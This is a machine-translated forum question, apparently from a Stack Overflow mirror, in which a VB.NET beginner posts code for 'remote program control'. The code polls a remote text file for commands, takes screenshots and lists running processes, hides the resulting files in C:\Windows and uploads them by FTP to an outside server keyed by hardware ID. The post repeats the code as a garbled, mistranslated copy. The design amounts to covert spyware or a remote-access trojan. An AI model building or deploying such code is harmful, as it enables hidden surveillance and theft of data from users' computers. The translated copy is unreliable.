Vb.net 远程程序控制

Vb.net 远程程序控制,vb.net,Vb.net,我是VB.NET的新手,我正在做一个项目,其中我需要放置远程程序控制,例如:用户在他的计算机上启动程序,当我在我的计算机上单击按钮时,用户计算机上的程序将执行一些工作,例如制作屏幕截图。我试着用backgroundworker和线程来做这个,但是程序开始做多个屏幕截图,而不是一个。我可以将循环放入线程中,但是我无法停止它,当然,在整个程序运行过程中都需要此控件 Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e

我是VB.NET的新手,我正在做一个项目,其中我需要放置远程程序控制,例如:用户在他的计算机上启动程序,当我在我的计算机上单击按钮时,用户计算机上的程序将执行一些工作,例如制作屏幕截图。我试着用backgroundworker和线程来做这个,但是程序开始做多个屏幕截图,而不是一个。我可以将循环放入线程中,但是我无法停止它,当然,在整个程序运行过程中都需要此控件

Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles MakeScreen.DoWork
        Dim screen1 As String
        Dim prcs As String

        Do Until screen1 = "1" Or prcs = "1"
            Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://mysite/cmd/cmd.txt")
            Dim response As System.Net.HttpWebResponse = request.GetResponse

            Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())

            screen1 = sr.ReadLine
            prcs = sr.ReadLine

        Loop

        '''''Screenshot section '''''

        If screen1 = "1" Then

            Try
                'Do While ssCount < 1
                Dim bounds As Rectangle
                Dim screenshot As System.Drawing.Bitmap
                Dim graph As Graphics
                bounds = Screen.PrimaryScreen.Bounds
                screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
                graph = Graphics.FromImage(screenshot)
                graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
                PictureBox1.Image = screenshot
                PictureBox1.Image.Save("C:\Windows\" + "reqss-" + reqss.ToString + ".png", System.Drawing.Imaging.ImageFormat.Png) 'Сохраняем
                File.SetAttributes("C:\Windows\" + "reqss-" + reqss.ToString + ".png", attribute) ' Делаем скрытым

                Try
                'My.Computer.Network.UploadFile("C:\Windows\" & "reqss-" & reqss & ".png", "ftp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png", "username", "pass")

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("frp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential("username", "pass")
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

                Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\" & "reqss-" & reqss & ".png")

                Dim strz As System.IO.Stream = request.GetRequestStream()
                strz.Write(file, 0, file.Length)
                strz.Close()
                strz.Dispose()


                Catch ex As Exception
                    MsgBox(ex.Message)
                End Try

                reqss = reqss + 1
            MakeScreen.Dispose()
            MakeScreen.RunWorkerAsync()
                'Loop
            Catch ex As Exception
                'Nothing
            End Try
        End If

        ''''' End of section '''''

        ''''' Processes section '''''
    If prcs = "1" Then
        'Получаем процессы
        reqprcs.Clear()
        Dim pProcess() As Process = System.Diagnostics.Process.GetProcesses
        For Each p As Process In pProcess
            Try
                'ProcessList.Items.Add(p.ProcessName)
                'ListBox1.Items.Add(p.MainModule.FileName)
                reqprcs.Add(p.MainModule.FileName)
            Catch ex As Exception

            End Try
        Next
        'Записываем процессы в файл
        Try

            Dim W2 As New StreamWriter("C:\Windows\rqprcs-" & reqprcscount & ".txt")
            For i = 0 To reqprcs.Count - 1
                W2.WriteLine(reqprcs.Item(i))
            Next
            W2.Close()
            'File.SetAttributes("C:\Windows\0beforegame.txt", FileAttributes.ReadOnly) ' Делаем read only
            File.SetAttributes("C:\Windows\rqprcs-" & reqprcscount & ".txt", FileAttributes.Hidden) ' Делаем скрытым
            Try
                'My.Computer.Network.UploadFile("C:\Windows\rqprcs-" & reqprcscount & ".txt", "ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt", "user", "pass")

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential("user", "pass")
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

                Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\rqprcs-" & reqprcscount & ".txt")

                Dim strz As System.IO.Stream = request.GetRequestStream()
                strz.Write(file, 0, file.Length)
                strz.Close()
                strz.Dispose()

                reqprcscount = reqprcscount + 1

                MakeScreen.Dispose()
                MakeScreen.RunWorkerAsync()
            Catch ex As Exception
                MsgBox(ex.Message)
            End Try

        Catch ex As Exception

        End Try
    End If
    ''''' End of section '''''

End Sub
Private子MakeScreen_DoWork(ByVal sender作为System.Object,ByVal e作为System.ComponentModel.DoWorkEventArgs)处理MakeScreen.DoWork
将屏幕1变暗为字符串
作为字符串的Dim prcs
直到屏幕1=“1”或prcs=“1”为止
Dim请求作为System.Net.HttpWebRequest=System.Net.HttpWebRequest.Create(“http://mysite/cmd/cmd.txt")
Dim响应为System.Net.HttpWebResponse=request.GetResponse
Dim sr As System.IO.StreamReader=新的System.IO.StreamReader(response.GetResponseStream())
screen1=sr.ReadLine
prcs=sr.ReadLine
环
截图部分
如果screen1=“1”,则
尝试
'在ssCount<1时执行
将边界设置为矩形
将屏幕截图变暗为System.Drawing.Bitmap
将图形变暗为图形
bounds=Screen.PrimaryScreen.bounds
屏幕截图=新的System.Drawing.Bitmap(bounds.Width、bounds.Height、System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph=Graphics.FromImage(屏幕截图)
CopyFromScreen(bounds.X,bounds.Y,0,0,bounds.Size,CopyPixelOperation.SourceCopy)
PictureBox1.Image=屏幕截图
PictureBox1.Image.Save(“C:\Windows\“+”reqss-“+reqss.ToString+”.png”,System.Drawing.Imaging.ImageFormat.png)”СаааааааМ
File.SetAttributes(“C:\Windows\“+”reqss-“+reqss.ToString+”.png”,属性)”crmk_аааааф
尝试
'我的.Computer.Network.upload文件(“C:\Windows\”&“reqss-”&reqss&.png',”ftp://mysite/&ThisHWID&“/”&“ss”&reqss.ToString+“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.png”、“用户名”、“密码”)
Dim请求为System.Net.FtpWebRequest=DirectCast(System.Net.WebRequest.Create(“frp://mysite/“&ThisHWID&“/”&“ss”&reqss.ToString+“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.png”),System.Net.FtpWebRequest)
request.Credentials=New System.Net.NetworkCredential(“用户名”、“通过”)
request.Method=System.Net.WebRequestMethods.Ftp.UploadFile
Dim file()的形式为Byte=System.IO.file.ReadAllBytes(“C:\Windows\”和“reqss-”&reqss&“.png”)
Dim strz As System.IO.Stream=request.GetRequestStream()
strz.Write(文件,0,文件长度)
strz.Close()
strz.Dispose()
特例
MsgBox(例如消息)
结束尝试
需求=需求+1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
'循环
特例
”“没有
结束尝试
如果结束
节末
工艺组
如果prcs=“1”,则
'Получаем процессы
要求清除()
Dim pProcess()作为进程=System.Diagnostics.Process.GetProcesses
对于pProcess中的每个p As流程
尝试
'ProcessList.Items.Add(p.ProcessName)
'ListBox1.Items.Add(p.MainModule.FileName)
reqprcs.Add(p.MainModule.FileName)
特例
结束尝试
下一个
'Записываем процессы в файл
尝试
Dim W2作为新的StreamWriter(“C:\Windows\rqprcs-”&reqprcscount&“.txt”)
对于i=0的要求,计数为-1
W2.书面线(要求第(i)项)
下一个
W2.关闭()
'File.SetAttributes(“C:\Windows\0beforegame.txt”,FileAttributes.ReadOnly)'БаааМ只读
File.SetAttributes(“C:\Windows\rqprcs-”&reqprcscount&“.txt”,FileAttributes.Hidden)”的
尝试
'My.Computer.Network.UploadFile(“C:\Windows\rqprcs-”&reqprcscount&“.txt”)ftp://mysite/&ThisHWID&“/rqprcs-”&reqprcscount&“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.txt”、“用户”、“传递”)
Dim请求为System.Net.FtpWebRequest=DirectCast(System.Net.WebRequest.Create(“ftp://mysite/“&ThisHWID&“/rqprcs-”&reqprcscount&“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.txt”),System.Net.FtpWebRequest)
request.Credentials=New System.Net.NetworkCredential(“用户”、“通过”)
request.Method=System.Net.WebRequestMethods.Ftp.UploadFile
Dim file()的形式为Byte=System.IO.file.ReadAllBytes(“C:\Windows\rqprcs-”&reqprcscount&“.txt”)
Dim strz As System.IO.Stream=request.GetRequestStream()
strz.Write(文件,0,文件长度)
strz.Close()
strz.Dispose()
reqprcscount=reqprcscount+1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
特例
MsgBox(例如消息)
结束尝试
特例
结束尝试
如果结束
章节末尾
端接头

太好了。你能给我们演示一下吗?为什么你需要自己编写遥控逻辑?使用Windows捆绑的远程桌面之类的东西有什么问题?我只需要在自己的程序中使用一些功能就可以了。